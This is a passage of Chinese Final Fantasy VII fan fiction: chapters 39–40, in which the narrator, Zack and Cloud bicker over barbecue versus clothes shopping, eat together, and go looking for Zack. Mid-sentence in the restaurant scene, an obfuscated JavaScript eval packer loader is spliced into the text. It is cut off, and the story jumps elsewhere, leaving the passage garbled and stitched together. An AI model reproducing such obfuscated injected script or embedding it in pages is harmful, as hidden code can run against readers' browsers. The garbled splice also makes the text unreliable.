“你肯定没睡好吧?看你脸色都不太好,”他仔细打量着我的脸,好像真的能看出什么似的,“是不是着凉了?要不要喝点热水?” “我没事,睡得挺好,”我打断他的喋喋不休,“就是饿了。有吃的吗?我想吃烤肉。” “烤肉?现在才早上欸前辈!”扎克斯被我的要求噎了一下,但很快就恢复了活力,“早餐吃烤肉是不是有点太油腻了?不过前辈想吃的话,也没问题!交给我!” 他拍着胸脯,大包大揽,“我们昨天不是缴获…啊不,收缴了一颗魔晶石吗?我们等下把它出给楼下武器店,然后去吃烤肉吧!怎么样?” 说着,扎克斯看向克劳德,带着询问的意味,又好像是试探什么。 克劳德从刚才的尴尬中稍微缓过神来了些,他摇了摇头,声音恢复了平稳:“早上吃烤肉不好,楼下有卖面包的,我去买点回来。”他说着,便站起身,准备往外走。 “欸?克劳德你别走啊!”扎克斯立刻拦住他,脸上挂着热情的笑容,“买面包多没意思!前辈想吃烤肉呢!再说了,我们昨天那么辛苦,是该好好犒劳一下自己!就用我们自己赚的钱!” 他不由分说地把克劳德按回沙发上,然后转向我,笑容灿烂:“前辈!我先去弄点好吃的垫垫!你等着!保证让你满意!” 说完,他就一阵风似的冲进了那个狭小的厨房区域,传来一阵翻箱倒柜的声音。 “喂!你别乱翻!冰箱里只有过期的牛奶和半根焉掉的黄瓜!”克劳德对着厨房的方向喊了一句,语气里带着些无奈。 “放心啦克劳德!看我的厉害!”扎克斯自信满满的声音从厨房传来,伴随着叮叮当当的声响。 我走到窗边,看着外面逐渐亮起来的天色,以及街道上开始出现的稀疏人影。雪球不知什么时候醒了,迈着优雅的猫步走到我脚边,用脑袋蹭了蹭我的裤腿。 “喵呜~” 蠢猫。 我弯腰把它捞起来抱在怀里,软乎乎的一团,手感不错。 嗯,今天心情好像还行。 42. 第39章 扎克斯最终还是没有用黄瓜和过期牛奶创造奇迹。 我趁着他刚刚忙活的时候,洗了个澡,换的还是克劳德的旧衣服,我随手擦了擦还在滴水的银发,晃悠到客厅。 客厅里,克劳德正盘腿坐在地上,面前摊开一小堆亮闪闪的Gil币,估计是刚刚从武器店回来。 他低着头,神情专注地一枚一枚数着,手指灵活地将硬币分成几摞,嘴里还念念有词,像是怕数错一个子儿。 另一边,扎克斯身上还残留着一股淡淡的焦糊味,估计是刚才在厨房“大展身手”留下的纪念。 他正蹲在地上,手里拿着一根不知道从哪里找来的逗猫棒——其实就是根绑了块破布条的细木棍,有一下没一下地在雪球面前晃悠。 “来呀雪球!抓住它!快!这边这边!”扎克斯嘴里发出夸张的呼喝声,手里的木棍灵活地躲闪着雪球扑来的爪子,“哎呀!差一点!再来一次!” 雪球玩得正起劲,喉咙里发出兴奋的咕噜声,毛茸茸的白色身体在地上滚来滚去,试图抓住那根挑逗它的木棍。 我走到克劳德旁边,也盘腿坐了下来,好奇地看着他面前那堆钱。 “喂,陆行鸟,”我伸出手指戳了戳其中一摞码得整整齐齐的硬币,“数清楚没?有多少啊?” 克劳德数钱的动作顿了一下,他抬起头看了我一眼,青色的眼睛里还带着刚才专注数钱时留下的认真。 “别碰,我在数。” 他简短地回了一句,然后用手指把我戳乱的那摞硬币重新码好,继续低头数了起来,“一共是…三千四百五十Gil。魔晶石的行情最近不太好,武器店老板压价压得厉害。” “三千四百五?”我掰着手指头算了算,“怎么才这么点?那个老板敢压价?我现在就下去把他全家的棺材板压一下。” “前辈!”扎克斯听到我的话,手里的逗猫棒“啪嗒”一声掉在地上,他几乎是瞬间从地上弹了起来,三两步冲到我面前,张开双臂,上下晃着。 “可不能那么做啊前辈!我们不能随便用武力的!我们是万能工,不是恶霸啊!” “啧……那这个能吃几顿烤肉?我们能不能把烤肉店包下来?” 克劳德依旧盘腿坐在地上,默默地将数好的Gil币收拢起来,放进一个破旧的皮钱袋里,他回答了我的问题。 “不行……而且,我们应该先给你买衣服,毕竟你是女生。” 扎克斯从旁边拿来了毛巾,他正站在我身后帮我擦头发,银色的发丝在他的手上聚拢又松散,些许落在我的脖颈。 克劳德顿了顿,他移开视线,落在钱袋上。 我语气严肃。 “我不要,我要吃烤肉。衣服不穿都行。” 扎克斯站在我身后,原本轻柔擦拭我头发的动作猛地停住了,毛巾还搭在我湿漉漉的发梢上。我能感觉到他身体的僵硬,甚至连呼吸都屏住了几秒。 “前、前辈!你,你你你、你说什么呢!”他的声音一下子拔高了好几度,带着明显的惊慌失措,手里的毛巾差点掉下来。 扎克斯说话都有些结巴了,手忙脚乱地继续帮我擦头发,力道却明显乱了章法,与其说是在擦,不如说是在胡乱揉搓,有好几下甚至扯得我头皮有点疼。 “轻点!” 我不满地回头瞪了他一眼。 “啊!抱歉!” 扎克斯立刻道歉,手上的力道放轻了许多,但依旧难掩慌乱。他低着头,眼神飘忽不定,根本不敢看我的脸,只是专注地(或者说,假装专注地)盯着我湿漉漉的银发。 面前的克劳德将钱袋放在桌子上,抹了把脸,雪球正好跳到他的怀里。 “…烤肉还是吃得起的。” 我举起手。 “那先去吃烤肉,再买衣服。” 克劳德发出异议。 “你的制服脏了,不能再穿着…我的衣服到处走了。先买衣服。” “先吃烤肉!” “买衣服。” “烤肉。” “买衣服,烤肉之后吃。” “烤肉。” “……” “烤肉。” “你再怎么重复也没用的。” 很好,陆行鸟。 我猛地拍了拍桌子。 万能工小组再次开始决议。 克劳德抬起头,望着扎克斯。 黑发男人正生疏的帮我绑头发,他的表情认真得好像在拆炸弹。 “扎克斯。” “扎克斯!” 他被我和克劳德异口同声得呼喊吓了一跳,回过神。 “啊……怎么了?” 我拍了拍他的小臂。 “你站哪边?” “我,我站哪边?什么来着?额,衣服和烤肉……?”扎克斯的声音有点干涩,他咽了口唾沫。 “……买衣服?” 二比一。 克劳德平时的酷样荡然无存,他嘴角立马上移了,察觉我的凝视后微微偏头咳了咳。 装什么装?你看起来多大啊,像个未成年——小孩不要参与大人的决议。 算了,暂时先放下内心对克劳德的锐评,现在我还有更重要的事情。 我尝试着挣扎。 “扎克斯,你难道不想吃烤肉吗?你想想,我们已经一个月没有吃好吃的了。” “又不是不吃了,只是先买衣服——” “闭嘴陆行鸟,现在是我的诉讼时间!” 克劳德的表情有些像昨天被我突然无缘无故的扯了尾巴的雪球。 “扎克斯,”我转过头,语气诚恳,眼神真挚,“你再仔细想想!烤肉啊!滋滋冒油的五花肉!外焦里嫩的牛舌!还有香喷喷的烤肠!蘸上秘制的酱料,一口下去——” 我故意拖长了声音,还配合着做了一个吞咽口水的动作,眼角的余光瞟到扎克斯的喉结不受控制地上下滚动了一下。 “想想我们这几天过的什么日子?”我继续发动攻势,声音里带上了一丝“悲情”,“钻下水道和变异老鼠搏斗!跑到赌场那种乌烟瘴气的地方打打杀杀!回来还要吃你那差点把厨房烧了的‘爱心早餐’!我们这么辛苦是为了什么?不就是为了能吃顿好的吗?!” “现在!”我话锋一转,指了指桌子上的钱袋,“我们有钱了!虽然不多,但吃顿烤肉绝对够了!这是我们应得的奖励!是对我们辛勤付出的肯定!你怎么能因为区区几件衣服,就放弃这唾手可得的幸福呢?” “想想那烤得金黄酥脆的鸡皮!想想那鲜嫩多汁的横膈膜!想想那冰镇的可乐!一口肉一口可乐,那是什么神仙日子?” 扎克斯被我说得眼神都有点迷离了,他下意识地舔了舔嘴唇,脸上露出明显的向往神色。“呃,前辈,你别说了…”他声音有点飘,“烤肉…确实,确实很好吃…” “对吧对吧!”我立刻抓住机会,乘胜追击,“想想看,我们坐在热热闹闹的烤肉店里,围着烤炉,听着肉片在烤盘上发出滋啦滋啦的美妙声音,空气里弥漫着诱人的香味…那感觉,多棒啊!” “是,是挺棒的…”扎克斯小声附和道,他偷偷看了一眼克劳德,连忙咳了咳,“但是,但是克劳德说的也有道理啊前辈,你的衣服…” “衣服有什么重要的?”我打断他,“我现在穿的这件不是挺好的吗?虽然是陆行鸟的旧衣服,但洗干净了也能穿啊!再说了,谁规定万能工必须穿得光鲜亮丽?我们靠的是实力,又不是脸!” 我挺起胸膛,试图展现自己的“实力派”气质。 克劳德叹了口气,他好像有些咬牙切齿,用一句话结束比赛。 “你没穿内衣,只是我的衣服比较大,看不大出来……不能再这样了。” 那句低沉却清晰无比的话语如同在滚烫的油锅里滴入了一滴冷水,瞬间让原本热闹的客厅炸开了锅,又迅速陷入一种诡异的、凝固般的寂静 雪球似乎感受到了气氛的异常,不安地扭动了一下身体,发出细微的“喵呜”声。 不就是没穿内衣吗?有什么大不了的? 以前在培养槽里的时候,我连衣服都没穿呢。 “必须先买衣服。” “……去买衣服吧前辈。” 可恶,我输了。 因为我的超帅面罩被洗了,被迫就这样出了门。雪球不愿意一只猫呆在家,它死死的扒着我的裤腿——为了守护我们仅剩不多的衣物,扎克斯抱着猫一起出发。 出门的时候,路边人的视线都凝聚在我身上,尤其是那一头银白的发。 “……” 那种好像在看什么稀有动物的惊奇眼光,让我沉浸在烤肉里的思绪都稍稍返回现实。 “啧,干嘛都盯着我看?我脸上有花吗?” 我抬手摸了摸自己的脸,光滑一片,什么都没有。真是莫名其妙。 “哈哈,前辈,别在意别在意!”扎克斯挠了挠头,声音也故意放大了些,想盖过周围的嘈杂,“他们就是好奇!米德加下层区很少见到像前辈这么…这么特别的发色嘛!肯定是觉得前辈你特别漂亮!” “我管他漂亮不漂亮,”我没好气地回道,躲开一个差点撞到我的、挑着担子的男人,“我只想快点买完那什么破衣服,然后去吃烤肉。” 克劳德走在我们前面半步的位置,他没怎么说话,只是默默地在前面带路。他把外套的拉链拉到了最高,兜帽也压得很低,只露出紧绷的下颌线条。虽然他没回头,但我能感觉到他周身散发出的那种不自在的气息。 这家伙,明明自己也是个显眼的金毛陆行鸟头,居然还嫌弃我太引人注目。 于是我去扯他的兜帽。 深色的布料滑落,露出了他那头标志性的、有些凌乱的金色刺猬头,以及那张因为突发状况而带着明显错愕的脸。 几缕不听话的金发垂落在他额前,沉闷的光照在那上面,反射出耀眼的光泽。 我不知为何,好像是肌肉记忆一样,抬起手揉了把他的脑袋。 和想象中的手感很像,软软的,尖端处有点扎手。 他青色的眼睛对上我的视线,里面映出的不是预想中的恼怒,而是一种短暂的、混合着惊讶和茫然的错愕。 克劳德很快回过神来,没有像之前那样立刻避开我的目光,只是微微偏开头,抬手有些笨拙地拨了拨被我弄乱的头发,试图恢复原状。他抿了抿唇,低声嘟囔了一句,声音不大不小。 “别闹了,快走吧。” ?“……” “切,没劲的陆行鸟。” 我撇撇嘴,跟了上去。扎克斯抱着雪球,紧随其后,还在小声地试图安抚怀里因为外界的喧闹有些不安分的白猫。 我们很快就挤进了第五区贫民窟市场的核心地带。 这里简直是混乱和生机的混合体。空气中弥漫着各种难以形容的气味——烤得焦香的廉价肉串、劣质香料、汗水、铁锈、还有远处飘来的隐约的下水道臭气。震耳欲聋的叫卖声、讨价还价声、金属敲打声、孩童的嬉闹声交织在一起,形成一片嘈杂的背景音。 头顶是错综复杂的管道和线缆,遮天蔽日,只有零星的光线能从缝隙中挤下来,照亮地面上坑洼不平的泥土路和散落的垃圾。道路两旁挤满了各式各样的摊位,用破旧的篷布、铁皮和木板胡乱搭建而成。摊主们扯着嗓子招揽顾客,脸上带着饱经风霜的油滑。 “新鲜的变异蟑螂腿!嘎嘣脆!五Gil一串!” “看看这扳手!刚从上层区‘借’来的!绝对好用!” “要不要来占卜一下?看看你什么时候能发大财娶三个老婆啊小哥?” 虽然很吵,但对我而言是小场面。 这点声音不如我发病时的左耳音响,那就像是把整个星球的人声都塞进了我脑子里。 我们三个在这拥挤不堪、光怪陆离的环境中艰难地前进着。我的银发和克劳德的金发,在这种以灰黑色调为主的环境里,简直就像黑夜里的两盏探照灯,走到哪里都吸引着无数好奇、探究甚至带着些贪婪的目光。 “嘿!看他们!” “是啊,特别是那个银头发的妞,长得真带劲!” “不会是哪个上层区跑下来的大小姐吧?” “得了吧,看他们穿的那样,穷酸得很!” 克劳德抿了抿唇,他只是无声的往前了一步,稍微替我遮挡了视线,扎克斯看起来要过去讨个说法了,雪球在他怀里竖起了耳朵。 我伸出手拦住扎克斯。 克劳德十分意外的看了我一眼。 我语气认真。 “别浪费时间,赶紧买完衣服去吃烤肉。” “……” 他表情立马变化,一副“我就知道”的模样。 没走多久,克劳德带我们进了一家服装店。 十分钟后,我们走了出来。 克劳德走在最前面,走出街的第一瞬间,他就想把兜帽拉回来,但不知做了什么心理准备,最终只是半捂着脸。 扎克斯抱着雪球,开始四顾张望,假装对旁边摊位上一个生锈的齿轮产生了浓厚的兴趣,嘴里还念念有词:“哇!这个齿轮!好特别!花纹真独特!” 我走在最后。 我不明白他们有什么不满意的,难道这样不帅吗? 老板娘跟我说我这样像个街边的劫匪或者是杀人犯,劝我三思——这不就是我平时穿的制服的款式吗?一身黑,自带面罩和兜帽,多方便。 扎克斯怀里的雪球好奇地扭过头,瞪着圆溜溜的蓝眼睛打量着我,还伸出小爪子扒拉了一下我的肩膀,似乎对这身新衣服很感兴趣。 “喂,扎克斯,”我走过去,拍了拍他的肩膀,“你看够了没有?一个破齿轮有什么好看的?走了,去吃烤肉!” 扎克斯被我拍得一个激灵,差点把雪球丢出去。他连忙稳住怀里的猫:“啊?啊!对对对!烤肉!烤肉!前辈说得对!我们这就去吃烤肉!” 他一边说着,一边下意识地往后退了半步,视线依旧不敢在我身上停留超过一秒钟。 “前辈这身…嗯…确实,确实很实用!对!非常实用!”他努力地搜刮着词语,试图给出正面的评价,“而且,而且看起来特别…特别有安全感!” “那是当然,”我接受了这个评价,“这和我的制服款式类似,虽然材质差了很多,但方便我第一时间动手。” 走在最前面的克劳德终于放下了手,但他依然没有回头,只是声音闷闷地从前面传来:“走了。” 他的脚步迈得很快,好像恨不得立刻离开这个是非之地。 “克劳德!等等我们啊!”扎克斯抱着雪球,连忙小跑着跟上,还不忘回头催促我,“前辈!快跟上!烤肉在向我们招手呢!” 这两个家伙,审美真的很有问题。 黑色的明明就很好看! 我们三个以一种奇怪的组合穿过拥挤的市场。 “扎克斯,”走在我旁边的克劳德突然开口,声音压得很低,但足够让身边的扎克斯听见,“你觉得…我们这样去烤肉店,会不会被老板赶出来?” 扎克斯闻言,脚步一个踉跄,差点摔倒。 “克劳德你别吓我啊!应该…应该不会吧?” 他的语气听起来一点底气都没有。 “虽然前辈这身…”扎克斯的声音更低了,还偷偷瞥了我一眼,“再加上我们两个…会不会被当成是去砸场子的?” 克劳德沉默了几秒:“或许…我们应该打包带走?” “打包?!”扎克斯的音量差点又控制不住,“那怎么行!烤肉就是要围着炉子吃才有气氛啊!而且打包回去,肉都凉了!那味道就大打折扣了!” 他显然对“打包”这个提议非常抗拒,烤肉的诱惑战胜了他对可能被误会的担忧。 “再说了!”扎克斯挺了挺胸膛,“我们可是‘万能帮手’!身正不怕影子斜!只要我们进去好好点单,好好吃饭,付钱走人,谁还能把我们怎么样?” “万一呢?”克劳德反问。 “没有万一!”扎克斯斩钉截铁地说,“相信我!绝对没问题的!大不了…大不了到时候我跟老板好好解释!” “解释什么?解释我们不是来抢劫的吗?” “呃…”扎克斯被噎住了,他抱着雪球,求助似的看向我,“前辈!你说句话啊!我们这样去吃烤肉,肯定没问题的对吧?” “当然没问题,”我理所当然地回答,“谁敢拦着我吃烤肉,我就把他的店拆了。” “…” “…” 看来我成功地终结了他们的争论。 烤肉店内,侍者在旁边等着我们点单。 真是奇怪,别的桌都是留下菜单就走了,只有我们被盯着看。 我拿起笔勾了好几个我想吃的,就把菜单丢给扎克斯了,雪球那只蠢猫在我膝盖上扒拉我的衣服,大概是想要我摸它。 我不会让它得偿所愿的。 所以说,这只猫怎么这么喜欢缠着我? 明明我不讨任何动物喜欢,之前一身血睡大街的时候,连一只老鼠或虫子都不敢靠近我。 “呃,前辈,你这个…”扎克斯的声音有点干,他指着菜单上几乎被我划满的肉类选项,“是不是点得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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?? 这种弱小又只会依赖的生物。 到底是谁创造的? ?? 我伸手指了指雪球,“你看它,软绵绵的一小团,叫声像蚊子哼哼,除了撒娇卖萌还会干什么?我,”我拍了拍自己的胸口,“我一天就能把整个神罗炸了。” 扎克斯被我这些话说得有点懵,他张了张嘴,似乎想反驳,但又不知道从何说起。 ??他挠了挠头,但还是努力解释道:“呃,前辈,我不是说实力方面啦!我当然知道前辈你超级厉害!无人能敌!” 他先是习惯性地吹捧了我一句,然后才继续说道:“我是说,嗯,外表方面有点像嘛!你看,前辈你是银白色的头发,雪球也是一身雪白的毛,都是白色系的,看起来就很…很纯粹!” “就因为都是白色?”我觉得这个理由简直荒谬,“那照你这么说,那边的白米饭也跟我很像咯?” “呃,那个,米饭不算啦…”扎克斯被我噎了一下,连忙摆手,“我还有别的意思!就是感觉!感觉上有点像!” ??扎克斯好像有些难以表达自己的想法,最终嘟囔了什么,凑上前摸了摸一直在蹭我胳膊的雪球,那只猫将爪子搭在他手上,发出舒服的呼噜声。 ??黑发男人显露出了一个淡淡的笑,又和他平时里咋咋呼呼的嬉笑不大一样,我的视线终于从桌子上的烤肉夹上移开,落在他身上。 ??四目相对。 ??明明在摸猫,为什么在看我? ??扎克斯将雪球半举起,白猫配合的“喵呜”了一声。 ?? “前辈,雪球很可爱吧?” ?? 可爱有什么用?帅气才是王道。 克劳德一直安静地听着我们对话,端起面前的麦茶喝了一口后,终于加入讨论:“眼神有点像。” “嗯?克劳德你说什么?”扎克斯最后摸了摸雪球的脑袋,将猫放到空座位上,收回了手,接着凑过去追问,“你说前辈和雪球哪里像?眼神?” “嗯,”克劳德放下茶杯,目光在我脸上停留了一瞬,又很快移开,落在了桌面上那个空着的烤肉架上,“都是那种,很清澈,又带着点警惕的眼神。像是在观察周围,随时准备应对危险。” 他顿了顿,又补充了一句:“不过,猫的更…”他似乎在寻找合适的词语,“更单纯一点。” “哈!我就说吧!”扎克斯立刻兴奋起来,好像自己的观点得到了权威认证,“克劳德都这么说了!前辈你看,不是我一个人这么觉得吧!” 我觉得他们都瞎了。 就在这时,烤肉店的侍者端着一个滋滋作响的大铁盘走了过来,上面堆满了各种新鲜的肉类和蔬菜,浓郁的肉香瞬间盖过了其他杂七杂八的味道,直冲鼻腔。 “来了来了!烤肉来了!”扎克斯的注意力立刻被吸引了过去,眼睛放光,口水都快流出来了。他也顾不上跟我争论像不像猫的问题了,连忙起身帮侍者腾出放烤盘的位置。 “哇!前辈你看这个牛五花!雪花纹理多漂亮!” “还有这个厚切牛舌!看起来就好嫩!” “这个是秘制鸡腿肉吗?闻起来好香啊!” 扎克斯像围着那盘烤肉惊叹连连,拿起烤肉夹跃跃欲试。 克劳德也默默地拿起了另一个烤肉夹,开始将一片片诱人的肉铺在烧得滚烫的烤网上。 “滋啦——” 肉片接触到高温烤网的瞬间,发出悦耳的声响,油脂被烤化,滴落在下面的炭火上,激起小小的火苗和一阵更加浓郁的焦香。 我的注意力也完全被吸引了过去,连那只猫什么时候又窝在我裤腿上的时候都忘了。 “哇哦!这个五花肉烤得刚刚好!”扎克斯第一个忍不住,用他那显得有些笨拙的烤肉夹,夹起一片边缘微焦、内里依旧粉嫩的五花肉,肥肉部分烤得晶莹剔透,瘦肉部分则散发着诱人的光泽。他迫不及待地吹了两下,就直接塞进了嘴里。 “唔姆唔姆!”他含糊不清地发出满足的感叹,眼睛幸福地眯了起来,脸颊鼓鼓囊囊地咀嚼着,“好吃!太好吃了!前辈!克劳德!你们快尝尝!这个肥瘦比例!简直完美!” 他一边说着,一边手疾眼快地又夹起好几片五花肉,动作迅速地放到我和克劳德面前的小碟子里。“快吃快吃!趁热!凉了就不好吃了!” 我自然不会客气,拿起筷子夹起那片还冒着热气的五花肉。 油脂的香气混合着炭火的焦香直冲鼻腔,入口的瞬间,那烤得微脆的外皮和内里柔嫩多汁的瘦肉完美结合,油脂在口中爆开,丰腴而不腻,带着恰到好处的咸香调味。 真好,感觉这几天下水道掏的都值了。 三份米饭很快见了底,可乐也喝完了,我把最后一块肉从克劳德的夹子上抢走,彻底结束战争。 “啊——爽!” 扎克斯放下空可乐杯,发出一声满足的长叹,“果然,辛苦工作之后,就应该用一顿美味的烤肉来犒劳自己!这家的肉质真不错,下次我们还来!” “好啊好啊!”我立刻举双手赞成,“下次我要点三倍的量!还要把那个看起来很好吃的烤牛肠也加上!” 克劳德放下餐巾,看了看我们两个,又看了看桌子上一片狼藉的空盘子和烤得焦黑的烤网。 “下次再说吧,我们得先去看看有没有新的委托,钱不能只出不进。” “当然!”我一拍桌子,差点把窝在我腿上睡着了的雪球震下去。它不满地“喵”了一声,换了个姿势继续睡。 “不过钻下水道、打老鼠那种活儿,钱少又无聊,不要再接了。我们要干就干票大的!就像昨天那样,直接端掉一个黑|帮老巢!又刺激,钱又多!” “前辈!我们昨天那个是维持正义!不是为了钱!”扎克斯立刻纠正我,表情严肃起来,“我们‘万能帮手’的宗旨是帮助有需要的人,不能总想着打打杀杀和抢…呃,收缴战利品!” 一边说着,我们三个人走出了烤肉店。 米德加下层的夜色是沉静的,或许还有着暗处说不清的威胁——但在此刻,剩下的只有那若有若无的晚风,带来些许清凉。 因为风有些大,我不想我的头发吹得到处飞,但雪球这只蠢猫趴在我怀里,我又不能把它丢在地上,不然扎克斯估计又要说我“对待伙伴方式不对”。 正要把那只猫抛给正在思索返回路线的扎克斯,一只手替我把兜帽拉了回去。 动作很轻,力道恰好,甚至将角落里那些不安分的发丝也妥帖地收拢进去。 我回过头,与正收回手的克劳德对上视线。 那双青色的眸子在下层区昏暗的光线下,依然清澈,里面倒映着我的脸,也倒映着我身后摇曳的灯火。 43. 第40章 我们在整个米德加下层确实有了名声。 不过不是扎克斯和克劳德要的那种。 现在扎克斯不在。 他每周的星期天都会失踪一天,他自己给的说法是去保养破坏剑。 克劳德看着翻盖手机上那一个个来自不同帮派的“协助”请求,叹了口气。 我在沙发上坐着,一边看着我最爱小说的原著,一边用膝盖轻轻将雪球将沙发上挤下去,没过几秒,这只白猫就会重新跳上沙发,周而复始。 这本《系统之我在米德加开诊所》的作者简直就是天才,格局远超大多数人——文章一开始的主线是当神罗总裁,随后主角决定进军星际,开启征伐,成为星际帝王。 只是这本书迟迟没有完结。 作者在最后一卷的最后一章突然停止更新,有人传作者因为疾病突然去世了/赚钱赚够了不干了/被骗婚导致倾家荡产,漫画补全的和同人的结局我都觉得没有那个味。 比如,漫画的结局居然是主角放弃了他的宏大目标,选择跟作为敌人的虫族女王在一起了—— 这还不如烂尾。 还有几个同人小说的结局,主角大开后宫,把自己的后辈元气妹妹,忧郁别扭助理,虫族女王等等几个只有名字的女性角色全部收入囊中,整天乐不思蜀——简直就是侮辱原著。 等我有一天有钱了,我一定要雇个最顶尖的写手,把这本书完结了。 “……” 克劳德终于放下了那被他快要看出个洞的电子屏幕,把视线转到了我身上,此刻我正因主角的装逼情节而激动不已,连挤猫都忘了。 “我刚刚接了一个简单的日常委托,一天之内可以搞定。” 真是麻烦你从一群黑|帮火并的请求中找出日常任务了。 “简单委托?”我终于从那本令人扼腕的烂尾小说中抬起头,“有多简单?是去帮人遛狗,还是去通下水道?” 克劳德放下手机,那双青色的眼睛看向我,里面带着一种“我就知道你会这么问”的无奈。 “都不是。”他言简意赅地否认了我的猜测,然后稍微解释了一下,“是去第六区边界的一个废弃仓库,帮人找一样东西。” “找东西?”我挑了挑眉,觉得这个委托听起来比下水道打魔兽稍微有趣一点,“找什么?宝藏吗?还是什么威力强大的古代兵器?” 如果是这样的话,那倒是可以考虑一下。 “都不是,”克劳德再次无情地打碎了我的幻想,“委托人说,是找一只走丢的宠物陆行鸟。” “噗——”我差点没把刚喝下去的水喷出来,“找陆行鸟?你确定?” 我难以置信地看着克劳德,觉得这个委托简直荒谬到了极点。 “我们,堂堂米德加下层区新晋‘恶名昭彰’(虽然他们不承认)的万能帮手,多少黑|帮抢着雇佣我们,居然要去废弃仓库里找一只走丢的扁毛畜生?” 这也太掉价了吧!传出去我们还怎么在道上混?难道以后别人提到我们,说的就是“哦,就是那个专门找猫找鸟的万能工”? 克劳德似乎看穿了我的想法,他面无表情地补充道:“报酬不错,五千Gil。而且,委托人特别强调,那只陆行鸟是他之前去世的妻子饲养的,十分重要。” “你说得对,真是感人的故事,我们不惜一切代价也要帮他找到。对了,什么时候出发找这5000Gil……啊不是,陆行鸟?” 克劳德沉默了下才回答我。 “先放一放……等扎克斯回来再说。” 啧,所以怎么样都要一起去是吗? 要是扎克斯在的话…… “对了!克劳德,你难道不好奇,扎克斯每周日都会消失的原因吗?” 克劳德那双青色的眼睛看着我,眉头几不可查地微微蹙了一下,似乎对我的问题感到有些意外。 “扎克斯不是说了吗?”他回答道,声音没什么起伏,“他去保养破坏剑了。那把剑很特别,需要特殊的维护。” 他说得一本正经,好像扎克斯那个蹩脚的借口是什么毋庸置疑的真理。 我嗤笑一声,把手里的书翻过一页,视线却没落在文字上。“保养剑需要一整天?从早上消失到晚上才回来?而且是去哪里保养?据我所知,米德加下层区可没有哪个地方提供给特种兵制式武器,尤其是那种一看就很贵的大家伙的专业保养服务。” 我顿了顿,故意拖长了声音:“还是说,他去的根本不是什么保养店,而是偷偷跑去见什么人了?” 克劳德没有立刻反驳我,他沉默了几秒,手指无意识地摩挲着手机边缘,那上面还显示着不同帮派发来的“委托”邀请。 “扎克斯做事有他自己的理由,”过了一会儿,他才缓缓开口,声音依旧平稳,但比起刚才似乎多了一丝维护的意味,“他说去保养剑,那就是去保养剑。我们没必要去猜测。” 他抬起眼帘,迎上我的目光,“而且,那是他的私事。每个人都有不想被别人知道的事情,不是吗?” “私事?”我重复了一遍,“我们现在可是住在同一个屋檐下的‘伙伴’,他每周固定消失,难道我们不该关心一下吗?万一他在外面遇到什么麻烦怎么办?或者,万一他…” 我停顿了一下,看着克劳德的眼睛,慢悠悠地说:“万一他偷偷攒钱,打算甩掉我们单飞呢?” “扎克斯不会的!”克劳德几乎是立刻反驳道,语气斩钉截铁,甚至带着激动。他很快就意识到自己的反应有点过激,清了清嗓子,声音又恢复了平稳,“他不是那样的人。他很重视…伙伴。” 他说“伙伴”这个词的时候,眼神不自觉地飘向了我这边,但很快又移开了。 “是吗?”我拖长了声音,不置可否,“那他消失一整天,连个消息都不发,难道不奇怪吗?我给他发消息他从来都是秒回的,只有周日,像是人间蒸发了一样。” 我说着,拿起自己的翻盖手机,翻出和扎克斯的聊天记录,在他面前晃了晃。“你看,周日的消息,全都是未读。” 克劳德看着我手机屏幕上那一长串孤零零的发送记录(几乎全是拜托扎克斯带饭回来),眉头皱得更紧了。 他抿了抿唇,没有说话,但眼神里明显多了一丝动摇。 我趁热打铁。 “怎么样?我们现在出去……偷偷找他,看看他在做什么。你也有些担心他吧?” 然后,找到扎克斯,拉他回来,我们就可以在今天拿到那只蠢鸟的5000Gil。 我不觉得有什么事能比5000Gil还重要。 “扎克斯他很强的,”克劳德的声音低沉了一些,“一般的麻烦,他自己能解决。” “能解决是一回事,我们去看看又是另一回事,”我继续说道,“万一他真的只是去保养剑,那我们就当是出去散散心,顺便看看米德加其他地方的风景。如果他真的遇到了什么事,我们也能及时帮忙,对吧?” 我停顿了一下,抛出最后的诱饵:“再说了,早点找到他,我们就能早点去搞定那个找陆行鸟的委托,那可是五千Gil啊!五千Gil!够我们吃多少顿烤肉了?你想想!” 五千Gil和友人安危的条件,似乎终于撼动了克劳德的决心。他抬起头,看着我,眼神里流露出犹豫。 他知道扎克斯很强,也相信扎克斯不会做什么出格的事情,但心底深处,或许也有一丝不易察觉的担忧。毕竟,我们现在的生活并不安稳,神罗的追捕如同悬在头顶的利剑,如果扎克斯真的有危险…… “可是…”克劳德还是有些迟疑,“如果我们被发现……” “我们小心一点不就行了?”我立刻打断他,拍板决定,“就这么定了!我们现在就出发!” 我说着,已经从沙发上站了起来,顺手捞起窝在我脚边睡得正香的雪球。白色的猫咪不满地扭动了几下,发出抗议的“喵呜”声。 克劳德看着我这副说干就干、雷厉风行的样子,最终还是无奈地叹了口气。他将手机揣回口袋,也跟着站起身。 “好吧,”他的声音里带着一丝妥协,“不过说好了,只是去看看,远远地跟着。如果扎克斯真的只是在做普通的事情,我们不能打扰他。” “知道了知道了,陆行鸟就是啰嗦。”我敷衍地应着,抱着雪球率先走向门口。 克劳德跟在我身后,顺手拿起了靠在墙边的符文剑。 虽然只是出去“看看”,但习惯还是让他下意识地带上了武器。 走出街道,我拍了拍雪球的屁股。 “去吧!找到扎克斯的味道!” 雪球踉跄了一下,稳住四肢,仰起小脑袋,用那双圆溜溜的蓝色眼睛茫然地看了看我,又看了看旁边的克劳德,喉咙里发出细微的“喵呜”声,似乎没太搞明白状况。 克劳德将白猫从我怀里解救出来。 “它是猫,不是狗。” 哦,这猫真没用。 我看着被克劳德抱走的雪球,撇了撇嘴。白色的毛团在他怀里蹭了蹭,发出舒服的呼噜声。 克劳德安抚地摸了摸雪球的脑袋,然后抬眼看向我。 “猫的鼻子没那么灵敏,靠它找人不太现实。” “那我们现在去哪找扎克斯?”我双手抱臂,环顾着这条依旧人来人往、气味混杂的街道。 克劳德没有立刻回答,他抱着猫,目光扫过周围那些形形色色的摊位和店铺招牌,似乎在快速思考。“武器街确实有很多他认识的人,但人多眼杂,挨个去问太浪费时间了。” “而且,”他微微侧头,看向街道的某个方向,“扎克斯就算是要躲开我们,也不会选择去那些太容易被找到的地方。他那个人,看起来大大咧咧,其实心思有时候也挺细的。” 哦?这只陆行鸟还挺了解扎克斯的嘛。 “那你说去哪?”我追问道,对他的分析不置可否,“你有好主意?” 克劳德沉吟了一下,然后指了指街道的另一头,那边似乎更加偏僻一些。“第七区的游戏厅,‘陆行鸟天堂’,你听说过吗?” “没听过。扎克斯喜欢去那种地方?” 